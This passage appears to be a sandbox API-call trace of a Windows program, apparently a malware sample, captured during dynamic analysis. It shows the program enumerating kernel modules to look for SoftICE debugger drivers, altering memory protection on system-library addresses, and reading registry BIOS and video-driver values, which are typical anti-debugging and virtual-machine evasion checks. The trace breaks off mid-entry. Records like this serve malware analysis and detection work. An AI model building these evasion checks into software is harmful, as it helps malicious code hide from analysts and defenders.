[218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0021.740] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0021.740] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x2d0000 [0021.741] GetProcAddress (hModule=0x77de0000, lpProcName="NtQuerySystemInformation") returned 0x77dffda0 [0021.741] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x2d0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x2d0000, ResultLength=0x0) returned 0x0 [0021.742] lstrcmpiA (lpString1="ntice.sys", lpString2="ntoskrnl.exe") returned -1 [0021.743] lstrcmpiA (lpString1="ntice.sys", lpString2="hal.dll") returned 1 [0021.743] lstrcmpiA (lpString1="ntice.sys", lpString2="kdcom.dll") returned 1 [0021.744] lstrcmpiA (lpString1="ntice.sys", lpString2="mcupdate_GenuineIntel.dll") returned 1 [0021.744] lstrcmpiA (lpString1="ntice.sys", lpString2="PSHED.dll") returned -1 [0021.745] lstrcmpiA (lpString1="ntice.sys", lpString2="CLFS.SYS") returned 1 [0021.746] lstrcmpiA (lpString1="ntice.sys", lpString2="CI.dll") returned 1 [0021.746] lstrcmpiA (lpString1="ntice.sys", lpString2="Wdf01000.sys") returned -1 [0021.746] lstrcmpiA (lpString1="ntice.sys", lpString2="WDFLDR.SYS") returned -1 [0021.746] lstrcmpiA (lpString1="ntice.sys", lpString2="ACPI.sys") returned 1 [0021.746] lstrcmpiA (lpString1="ntice.sys", lpString2="WMILIB.SYS") returned -1 [0021.746] lstrcmpiA (lpString1="ntice.sys", lpString2="msisadrv.sys") returned 1 [0021.746] lstrcmpiA (lpString1="ntice.sys", lpString2="pci.sys") returned -1 [0021.746] lstrcmpiA (lpString1="ntice.sys", lpString2="vdrvroot.sys") returned -1 [0021.746] lstrcmpiA (lpString1="ntice.sys", lpString2="partmgr.sys") returned -1 [0021.746] lstrcmpiA (lpString1="ntice.sys", lpString2="volmgr.sys") returned -1 [0021.746] lstrcmpiA (lpString1="ntice.sys", lpString2="volmgrx.sys") returned -1 [0021.747] lstrcmpiA (lpString1="ntice.sys", lpString2="mountmgr.sys") returned 1 [0021.747] lstrcmpiA (lpString1="ntice.sys", lpString2="atapi.sys") returned 1 [0021.747] lstrcmpiA (lpString1="ntice.sys", lpString2="ataport.SYS") returned 1 [0021.747] lstrcmpiA (lpString1="ntice.sys", lpString2="msahci.sys") returned 1 [0021.747] lstrcmpiA (lpString1="ntice.sys", lpString2="PCIIDEX.SYS") returned -1 [0021.747] lstrcmpiA (lpString1="ntice.sys", lpString2="amdxata.sys") returned 1 [0021.747] lstrcmpiA (lpString1="ntice.sys", lpString2="fltmgr.sys") returned 1 [0021.747] lstrcmpiA (lpString1="ntice.sys", lpString2="fileinfo.sys") returned 1 [0021.747] lstrcmpiA (lpString1="ntice.sys", lpString2="Ntfs.sys") returned 1 [0021.747] lstrcmpiA (lpString1="ntice.sys", lpString2="msrpc.sys") returned 1 [0021.747] lstrcmpiA (lpString1="ntice.sys", lpString2="ksecdd.sys") returned 1 [0021.747] lstrcmpiA (lpString1="ntice.sys", lpString2="cng.sys") returned 1 [0021.747] lstrcmpiA (lpString1="ntice.sys", lpString2="pcw.sys") returned -1 [0021.748] lstrcmpiA (lpString1="ntice.sys", lpString2="Fs_Rec.sys") returned 1 [0021.748] lstrcmpiA (lpString1="ntice.sys", lpString2="ndis.sys") returned 1 [0021.748] lstrcmpiA (lpString1="ntice.sys", lpString2="NETIO.SYS") returned 1 [0021.748] lstrcmpiA (lpString1="ntice.sys", lpString2="ksecpkg.sys") returned 1 [0021.748] lstrcmpiA (lpString1="ntice.sys", lpString2="tcpip.sys") returned -1 [0021.748] lstrcmpiA (lpString1="ntice.sys", lpString2="fwpkclnt.sys") returned 1 [0021.748] lstrcmpiA (lpString1="ntice.sys", lpString2="vmstorfl.sys") returned -1 [0021.748] lstrcmpiA (lpString1="ntice.sys", lpString2="volsnap.sys") returned -1 [0021.748] lstrcmpiA (lpString1="ntice.sys", lpString2="spldr.sys") returned -1 [0021.748] lstrcmpiA (lpString1="ntice.sys", lpString2="rdyboost.sys") returned -1 [0021.748] lstrcmpiA (lpString1="ntice.sys", lpString2="mup.sys") returned 1 [0021.748] lstrcmpiA (lpString1="ntice.sys", lpString2="hwpolicy.sys") returned 1 [0021.749] lstrcmpiA (lpString1="ntice.sys", lpString2="fvevol.sys") returned 1 [0021.749] lstrcmpiA (lpString1="ntice.sys", lpString2="disk.sys") returned 1 [0021.749] lstrcmpiA (lpString1="ntice.sys", lpString2="CLASSPNP.SYS") returned 1 [0021.749] lstrcmpiA (lpString1="ntice.sys", lpString2="Null.SYS") returned -1 [0021.749] lstrcmpiA (lpString1="ntice.sys", lpString2="Beep.SYS") returned 1 [0021.749] lstrcmpiA (lpString1="ntice.sys", lpString2="vga.sys") returned -1 [0021.749] lstrcmpiA (lpString1="ntice.sys", lpString2="VIDEOPRT.SYS") returned -1 [0021.749] lstrcmpiA (lpString1="ntice.sys", lpString2="watchdog.sys") returned -1 [0021.749] lstrcmpiA (lpString1="ntice.sys", lpString2="RDPCDD.sys") returned -1 [0021.749] lstrcmpiA (lpString1="ntice.sys", lpString2="rdpencdd.sys") returned -1 [0021.749] lstrcmpiA (lpString1="ntice.sys", lpString2="rdprefmp.sys") returned -1 [0021.749] lstrcmpiA (lpString1="ntice.sys", lpString2="Msfs.SYS") returned 1 [0021.750] lstrcmpiA (lpString1="ntice.sys", lpString2="Npfs.SYS") returned 1 [0021.750] lstrcmpiA (lpString1="ntice.sys", lpString2="tdx.sys") returned -1 [0021.750] lstrcmpiA (lpString1="ntice.sys", lpString2="TDI.SYS") returned -1 [0021.750] lstrcmpiA (lpString1="ntice.sys", lpString2="afd.sys") returned 1 [0021.750] lstrcmpiA (lpString1="ntice.sys", lpString2="netbt.sys") returned 1 [0021.750] lstrcmpiA (lpString1="ntice.sys", lpString2="wfplwf.sys") returned -1 [0021.750] lstrcmpiA (lpString1="ntice.sys", lpString2="pacer.sys") returned -1 [0021.750] lstrcmpiA (lpString1="ntice.sys", lpString2="netbios.sys") returned 1 [0021.750] lstrcmpiA (lpString1="ntice.sys", lpString2="wanarp.sys") returned -1 [0021.750] lstrcmpiA (lpString1="ntice.sys", lpString2="termdd.sys") returned -1 [0021.750] lstrcmpiA (lpString1="ntice.sys", lpString2="rdbss.sys") returned -1 [0021.750] lstrcmpiA (lpString1="ntice.sys", lpString2="nsiproxy.sys") returned 1 [0021.750] lstrcmpiA (lpString1="ntice.sys", lpString2="mssmbios.sys") returned 1 [0021.751] lstrcmpiA (lpString1="ntice.sys", lpString2="discache.sys") returned 1 [0021.751] lstrcmpiA (lpString1="ntice.sys", lpString2="csc.sys") returned 1 [0021.751] lstrcmpiA (lpString1="ntice.sys", lpString2="dfsc.sys") returned 1 [0021.751] lstrcmpiA (lpString1="ntice.sys", lpString2="blbdrive.sys") returned 1 [0021.751] lstrcmpiA (lpString1="ntice.sys", lpString2="tunnel.sys") returned -1 [0021.751] lstrcmpiA (lpString1="ntice.sys", lpString2="vgapnp.sys") returned -1 [0021.751] lstrcmpiA (lpString1="ntice.sys", lpString2="HDAudBus.sys") returned 1 [0021.751] lstrcmpiA (lpString1="ntice.sys", lpString2="usbehci.sys") returned -1 [0021.751] lstrcmpiA (lpString1="ntice.sys", lpString2="USBPORT.SYS") returned -1 [0021.751] lstrcmpiA (lpString1="ntice.sys", lpString2="intelppm.sys") returned 1 [0021.751] lstrcmpiA (lpString1="ntice.sys", lpString2="CompositeBus.sys") returned 1 [0021.751] lstrcmpiA (lpString1="ntice.sys", lpString2="AgileVpn.sys") returned 1 [0021.751] lstrcmpiA (lpString1="ntice.sys", lpString2="rasl2tp.sys") returned -1 [0021.752] lstrcmpiA (lpString1="ntice.sys", lpString2="ndistapi.sys") returned 1 [0021.752] lstrcmpiA (lpString1="ntice.sys", lpString2="ndiswan.sys") returned 1 [0021.752] lstrcmpiA (lpString1="ntice.sys", lpString2="raspppoe.sys") returned -1 [0021.752] lstrcmpiA (lpString1="ntice.sys", lpString2="raspptp.sys") returned -1 [0021.752] lstrcmpiA (lpString1="ntice.sys", lpString2="rassstp.sys") returned -1 [0021.752] lstrcmpiA (lpString1="ntice.sys", lpString2="rdpbus.sys") returned -1 [0021.752] lstrcmpiA (lpString1="ntice.sys", lpString2="kbdclass.sys") returned 1 [0021.752] lstrcmpiA (lpString1="ntice.sys", lpString2="mouclass.sys") returned 1 [0021.752] lstrcmpiA (lpString1="ntice.sys", lpString2="swenum.sys") returned -1 [0021.752] lstrcmpiA (lpString1="ntice.sys", lpString2="ks.sys") returned 1 [0021.752] lstrcmpiA (lpString1="ntice.sys", lpString2="umbus.sys") returned -1 [0021.752] lstrcmpiA (lpString1="ntice.sys", lpString2="usbhub.sys") returned -1 [0021.752] lstrcmpiA (lpString1="ntice.sys", lpString2="NDProxy.SYS") returned 1 [0021.753] lstrcmpiA (lpString1="ntice.sys", lpString2="HdAudio.sys") returned 1 [0021.753] lstrcmpiA (lpString1="ntice.sys", lpString2="portcls.sys") returned -1 [0021.753] lstrcmpiA (lpString1="ntice.sys", lpString2="drmk.sys") returned 1 [0021.753] lstrcmpiA (lpString1="ntice.sys", lpString2="ksthunk.sys") returned 1 [0021.753] lstrcmpiA (lpString1="ntice.sys", lpString2="crashdmp.sys") returned 1 [0021.753] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_dumpata.sys") returned 1 [0021.753] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_msahci.sys") returned 1 [0021.753] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_dumpfve.sys") returned 1 [0021.753] lstrcmpiA (lpString1="ntice.sys", lpString2="win32k.sys") returned -1 [0021.753] lstrcmpiA (lpString1="ntice.sys", lpString2="Dxapi.sys") returned 1 [0021.753] lstrcmpiA (lpString1="ntice.sys", lpString2="dxg.sys") returned 1 [0021.753] lstrcmpiA (lpString1="ntice.sys", lpString2="monitor.sys") returned 1 [0021.754] lstrcmpiA (lpString1="ntice.sys", lpString2="TSDDD.dll") returned -1 [0021.754] lstrcmpiA (lpString1="ntice.sys", lpString2="hidusb.sys") returned 1 [0021.754] lstrcmpiA (lpString1="ntice.sys", lpString2="HIDCLASS.SYS") returned 1 [0021.754] lstrcmpiA (lpString1="ntice.sys", lpString2="HIDPARSE.SYS") returned 1 [0021.754] lstrcmpiA (lpString1="ntice.sys", lpString2="USBD.SYS") returned -1 [0021.754] lstrcmpiA (lpString1="ntice.sys", lpString2="kbdhid.sys") returned 1 [0021.754] lstrcmpiA (lpString1="ntice.sys", lpString2="framebuf.dll") returned 1 [0021.754] lstrcmpiA (lpString1="ntice.sys", lpString2="mouhid.sys") returned 1 [0021.754] lstrcmpiA (lpString1="ntice.sys", lpString2="luafv.sys") returned 1 [0021.754] lstrcmpiA (lpString1="ntice.sys", lpString2="lltdio.sys") returned 1 [0021.754] lstrcmpiA (lpString1="ntice.sys", lpString2="rspndr.sys") returned -1 [0021.754] lstrcmpiA (lpString1="ntice.sys", lpString2="HTTP.sys") returned 1 [0021.754] lstrcmpiA (lpString1="ntice.sys", lpString2="bowser.sys") returned 1 [0021.755] lstrcmpiA (lpString1="ntice.sys", lpString2="mpsdrv.sys") returned 1 [0021.755] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb.sys") returned 1 [0021.755] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb10.sys") returned 1 [0021.755] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb20.sys") returned 1 [0021.755] lstrcmpiA (lpString1="ntice.sys", lpString2="peauth.sys") returned -1 [0021.755] lstrcmpiA (lpString1="ntice.sys", lpString2="secdrv.SYS") returned -1 [0021.755] lstrcmpiA (lpString1="ntice.sys", lpString2="srvnet.sys") returned -1 [0021.755] lstrcmpiA (lpString1="ntice.sys", lpString2="tcpipreg.sys") returned -1 [0021.755] lstrcmpiA (lpString1="ntice.sys", lpString2="srv2.sys") returned -1 [0021.755] lstrcmpiA (lpString1="ntice.sys", lpString2="srv.sys") returned -1 [0021.755] lstrcmpiA (lpString1="ntice.sys", lpString2="spsys.sys") returned -1 [0021.755] lstrcmpiA (lpString1="ntice.sys", lpString2="asyncmac.sys") returned 1 [0021.756] lstrcmpiA (lpString1="ntice.sys", lpString2="E1G6032E.sys") returned 1 [0021.756] lstrcmpiA (lpString1="ntice.sys", lpString2="ntdll.dll") returned 1 [0021.756] lstrcmpiA (lpString1="ntice.sys", lpString2="smss.exe") returned -1 [0021.756] lstrcmpiA (lpString1="ntice.sys", lpString2="apisetschema.dll") returned 1 [0021.757] lstrcmpiA (lpString1="iceext.sys", lpString2="ntoskrnl.exe") returned -1 [0021.757] lstrcmpiA (lpString1="iceext.sys", lpString2="hal.dll") returned 1 [0021.757] lstrcmpiA (lpString1="iceext.sys", lpString2="kdcom.dll") returned -1 [0021.757] lstrcmpiA (lpString1="iceext.sys", lpString2="mcupdate_GenuineIntel.dll") returned -1 [0021.757] lstrcmpiA (lpString1="iceext.sys", lpString2="PSHED.dll") returned -1 [0021.757] lstrcmpiA (lpString1="iceext.sys", lpString2="CLFS.SYS") returned 1 [0021.758] lstrcmpiA (lpString1="iceext.sys", lpString2="CI.dll") returned 1 [0021.758] lstrcmpiA (lpString1="iceext.sys", lpString2="Wdf01000.sys") returned -1 [0021.758] lstrcmpiA (lpString1="iceext.sys", lpString2="WDFLDR.SYS") returned -1 [0021.758] lstrcmpiA (lpString1="iceext.sys", lpString2="ACPI.sys") returned 1 [0021.758] lstrcmpiA (lpString1="iceext.sys", lpString2="WMILIB.SYS") returned -1 [0021.758] lstrcmpiA (lpString1="iceext.sys", lpString2="msisadrv.sys") returned -1 [0021.758] lstrcmpiA (lpString1="iceext.sys", lpString2="pci.sys") returned -1 [0021.758] lstrcmpiA (lpString1="iceext.sys", lpString2="vdrvroot.sys") returned -1 [0021.758] lstrcmpiA (lpString1="iceext.sys", lpString2="partmgr.sys") returned -1 [0021.758] lstrcmpiA (lpString1="iceext.sys", lpString2="volmgr.sys") returned -1 [0021.758] lstrcmpiA (lpString1="iceext.sys", lpString2="volmgrx.sys") returned -1 [0021.758] lstrcmpiA (lpString1="iceext.sys", lpString2="mountmgr.sys") returned -1 [0021.759] lstrcmpiA (lpString1="iceext.sys", lpString2="atapi.sys") returned 1 [0021.759] lstrcmpiA (lpString1="iceext.sys", lpString2="ataport.SYS") returned 1 [0021.759] lstrcmpiA (lpString1="iceext.sys", lpString2="msahci.sys") returned -1 [0021.759] lstrcmpiA (lpString1="iceext.sys", lpString2="PCIIDEX.SYS") returned -1 [0021.759] lstrcmpiA (lpString1="iceext.sys", lpString2="amdxata.sys") returned 1 [0021.759] lstrcmpiA (lpString1="iceext.sys", lpString2="fltmgr.sys") returned 1 [0021.759] lstrcmpiA (lpString1="iceext.sys", lpString2="fileinfo.sys") returned 1 [0021.759] lstrcmpiA (lpString1="iceext.sys", lpString2="Ntfs.sys") returned -1 [0021.759] lstrcmpiA (lpString1="iceext.sys", lpString2="msrpc.sys") returned -1 [0021.759] lstrcmpiA (lpString1="iceext.sys", lpString2="ksecdd.sys") returned -1 [0021.759] lstrcmpiA (lpString1="iceext.sys", lpString2="cng.sys") returned 1 [0021.759] lstrcmpiA (lpString1="iceext.sys", lpString2="pcw.sys") returned -1 [0021.759] lstrcmpiA (lpString1="iceext.sys", lpString2="Fs_Rec.sys") returned 1 [0021.760] lstrcmpiA (lpString1="iceext.sys", lpString2="ndis.sys") returned -1 [0021.760] lstrcmpiA (lpString1="iceext.sys", lpString2="NETIO.SYS") returned -1 [0021.760] lstrcmpiA (lpString1="iceext.sys", lpString2="ksecpkg.sys") returned -1 [0021.760] lstrcmpiA (lpString1="iceext.sys", lpString2="tcpip.sys") returned -1 [0021.760] lstrcmpiA (lpString1="iceext.sys", lpString2="fwpkclnt.sys") returned 1 [0021.760] lstrcmpiA (lpString1="iceext.sys", lpString2="vmstorfl.sys") returned -1 [0021.760] lstrcmpiA (lpString1="iceext.sys", lpString2="volsnap.sys") returned -1 [0021.760] lstrcmpiA (lpString1="iceext.sys", lpString2="spldr.sys") returned -1 [0021.760] lstrcmpiA (lpString1="iceext.sys", lpString2="rdyboost.sys") returned -1 [0021.760] lstrcmpiA (lpString1="iceext.sys", lpString2="mup.sys") returned -1 [0021.760] lstrcmpiA (lpString1="iceext.sys", lpString2="hwpolicy.sys") returned 1 [0021.760] lstrcmpiA (lpString1="iceext.sys", lpString2="fvevol.sys") returned 1 [0021.761] lstrcmpiA (lpString1="iceext.sys", lpString2="disk.sys") returned 1 [0021.761] lstrcmpiA (lpString1="iceext.sys", lpString2="CLASSPNP.SYS") returned 1 [0021.761] lstrcmpiA (lpString1="iceext.sys", lpString2="Null.SYS") returned -1 [0021.761] lstrcmpiA (lpString1="iceext.sys", lpString2="Beep.SYS") returned 1 [0021.761] lstrcmpiA (lpString1="iceext.sys", lpString2="vga.sys") returned -1 [0021.761] lstrcmpiA (lpString1="iceext.sys", lpString2="VIDEOPRT.SYS") returned -1 [0021.761] lstrcmpiA (lpString1="iceext.sys", lpString2="watchdog.sys") returned -1 [0021.761] lstrcmpiA (lpString1="iceext.sys", lpString2="RDPCDD.sys") returned -1 [0021.761] lstrcmpiA (lpString1="iceext.sys", lpString2="rdpencdd.sys") returned -1 [0021.761] lstrcmpiA (lpString1="iceext.sys", lpString2="rdprefmp.sys") returned -1 [0021.762] lstrcmpiA (lpString1="iceext.sys", lpString2="Msfs.SYS") returned -1 [0021.762] lstrcmpiA (lpString1="iceext.sys", lpString2="Npfs.SYS") returned -1 [0021.762] lstrcmpiA (lpString1="iceext.sys", lpString2="tdx.sys") returned -1 [0021.762] lstrcmpiA (lpString1="iceext.sys", lpString2="TDI.SYS") returned -1 [0021.762] lstrcmpiA (lpString1="iceext.sys", lpString2="afd.sys") returned 1 [0021.762] lstrcmpiA (lpString1="iceext.sys", lpString2="netbt.sys") returned -1 [0021.762] lstrcmpiA (lpString1="iceext.sys", lpString2="wfplwf.sys") returned -1 [0021.762] lstrcmpiA (lpString1="iceext.sys", lpString2="pacer.sys") returned -1 [0021.762] lstrcmpiA (lpString1="iceext.sys", lpString2="netbios.sys") returned -1 [0021.762] lstrcmpiA (lpString1="iceext.sys", lpString2="wanarp.sys") returned -1 [0021.762] lstrcmpiA (lpString1="iceext.sys", lpString2="termdd.sys") returned -1 [0021.762] lstrcmpiA (lpString1="iceext.sys", lpString2="rdbss.sys") returned -1 [0021.762] lstrcmpiA (lpString1="iceext.sys", lpString2="nsiproxy.sys") returned -1 [0021.763] lstrcmpiA (lpString1="iceext.sys", lpString2="mssmbios.sys") returned -1 [0021.763] lstrcmpiA (lpString1="iceext.sys", lpString2="discache.sys") returned 1 [0021.763] lstrcmpiA (lpString1="iceext.sys", lpString2="csc.sys") returned 1 [0021.763] lstrcmpiA (lpString1="iceext.sys", lpString2="dfsc.sys") returned 1 [0021.763] lstrcmpiA (lpString1="iceext.sys", lpString2="blbdrive.sys") returned 1 [0021.763] lstrcmpiA (lpString1="iceext.sys", lpString2="tunnel.sys") returned -1 [0021.763] lstrcmpiA (lpString1="iceext.sys", lpString2="vgapnp.sys") returned -1 [0021.763] lstrcmpiA (lpString1="iceext.sys", lpString2="HDAudBus.sys") returned 1 [0021.763] lstrcmpiA (lpString1="iceext.sys", lpString2="usbehci.sys") returned -1 [0021.763] lstrcmpiA (lpString1="iceext.sys", lpString2="USBPORT.SYS") returned -1 [0021.763] lstrcmpiA (lpString1="iceext.sys", lpString2="intelppm.sys") returned -1 [0021.763] lstrcmpiA (lpString1="iceext.sys", lpString2="CompositeBus.sys") returned 1 [0021.764] lstrcmpiA (lpString1="iceext.sys", lpString2="AgileVpn.sys") returned 1 [0021.764] lstrcmpiA (lpString1="iceext.sys", lpString2="rasl2tp.sys") returned -1 [0021.764] lstrcmpiA (lpString1="iceext.sys", lpString2="ndistapi.sys") returned -1 [0021.764] lstrcmpiA (lpString1="iceext.sys", lpString2="ndiswan.sys") returned -1 [0021.764] lstrcmpiA (lpString1="iceext.sys", lpString2="raspppoe.sys") returned -1 [0021.764] lstrcmpiA (lpString1="iceext.sys", lpString2="raspptp.sys") returned -1 [0021.764] lstrcmpiA (lpString1="iceext.sys", lpString2="rassstp.sys") returned -1 [0021.764] lstrcmpiA (lpString1="iceext.sys", lpString2="rdpbus.sys") returned -1 [0021.764] lstrcmpiA (lpString1="iceext.sys", lpString2="kbdclass.sys") returned -1 [0021.764] lstrcmpiA (lpString1="iceext.sys", lpString2="mouclass.sys") returned -1 [0021.764] lstrcmpiA (lpString1="iceext.sys", lpString2="swenum.sys") returned -1 [0021.764] lstrcmpiA (lpString1="iceext.sys", lpString2="ks.sys") returned -1 [0021.765] lstrcmpiA (lpString1="iceext.sys", lpString2="umbus.sys") returned -1 [0021.765] lstrcmpiA (lpString1="iceext.sys", lpString2="usbhub.sys") returned -1 [0021.765] lstrcmpiA (lpString1="iceext.sys", lpString2="NDProxy.SYS") returned -1 [0021.765] lstrcmpiA (lpString1="iceext.sys", lpString2="HdAudio.sys") returned 1 [0021.765] lstrcmpiA (lpString1="iceext.sys", lpString2="portcls.sys") returned -1 [0021.765] lstrcmpiA (lpString1="iceext.sys", lpString2="drmk.sys") returned 1 [0021.765] lstrcmpiA (lpString1="iceext.sys", lpString2="ksthunk.sys") returned -1 [0021.765] lstrcmpiA (lpString1="iceext.sys", lpString2="crashdmp.sys") returned 1 [0021.765] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_dumpata.sys") returned 1 [0021.765] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_msahci.sys") returned 1 [0021.765] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_dumpfve.sys") returned 1 [0021.765] lstrcmpiA (lpString1="iceext.sys", lpString2="win32k.sys") returned -1 [0021.766] lstrcmpiA (lpString1="iceext.sys", lpString2="Dxapi.sys") returned 1 [0021.766] lstrcmpiA (lpString1="iceext.sys", lpString2="dxg.sys") returned 1 [0021.766] lstrcmpiA (lpString1="iceext.sys", lpString2="monitor.sys") returned -1 [0021.766] lstrcmpiA (lpString1="iceext.sys", lpString2="TSDDD.dll") returned -1 [0021.766] lstrcmpiA (lpString1="iceext.sys", lpString2="hidusb.sys") returned 1 [0021.766] lstrcmpiA (lpString1="iceext.sys", lpString2="HIDCLASS.SYS") returned 1 [0021.766] lstrcmpiA (lpString1="iceext.sys", lpString2="HIDPARSE.SYS") returned 1 [0021.766] lstrcmpiA (lpString1="iceext.sys", lpString2="USBD.SYS") returned -1 [0021.766] lstrcmpiA (lpString1="iceext.sys", lpString2="kbdhid.sys") returned -1 [0021.766] lstrcmpiA (lpString1="iceext.sys", lpString2="framebuf.dll") returned 1 [0021.766] lstrcmpiA (lpString1="iceext.sys", lpString2="mouhid.sys") returned -1 [0021.766] lstrcmpiA (lpString1="iceext.sys", lpString2="luafv.sys") returned -1 [0021.766] lstrcmpiA (lpString1="iceext.sys", lpString2="lltdio.sys") returned -1 [0021.868] VirtualProtect (in: lpAddress=0x77e7f7ea, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x3ee338 | out: lpflOldProtect=0x3ee338*=0x20) returned 1 [0021.869] VirtualProtect (in: lpAddress=0x77e7f7ea, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x3ee33c | out: lpflOldProtect=0x3ee33c*=0x40) returned 1 [0021.870] VirtualProtect (in: lpAddress=0x77df000c, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x3ee338 | out: lpflOldProtect=0x3ee338*=0x20) returned 1 [0021.870] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x3ee33c | out: Wow64Process=0x3ee33c) returned 1 [0021.870] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", phkResult=0x71da1f8b | out: phkResult=0x71da1f8b*=0x238) returned 0x0 [0021.871] RegQueryValueExA (in: hKey=0x238, lpValueName="DriverDesc", lpReserved=0x0, lpType=0x0, lpData=0x71df3ee5, lpcbData=0x71c583f4*=0x29d1e58b | out: lpType=0x0, lpData=0x71df3ee5*=0x53, lpcbData=0x71c583f4*=0x1e) returned 0x0 [0021.871] RegCloseKey (hKey=0x238) returned 0x0 [0021.871] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Hardware\\description\\System", phkResult=0x71da1f8b | out: phkResult=0x71da1f8b*=0x238) returned 0x0 [0021.871] RegQueryValueExA (in: hKey=0x238, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x71df3ee5, lpcbData=0x71c583f4*=0x200 | out: lpType=0x0, lpData=0x71df3ee5*=0x4c, lpcbData=0x71c583f4*=0x73) returned 0x0 [0021.871] RegQueryValueExA (in: hKey=0x238, lpValueName="VideoBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x71df3ee5, lpcbData=0x71c583f4*=0x200 | out: lpType=0x0, 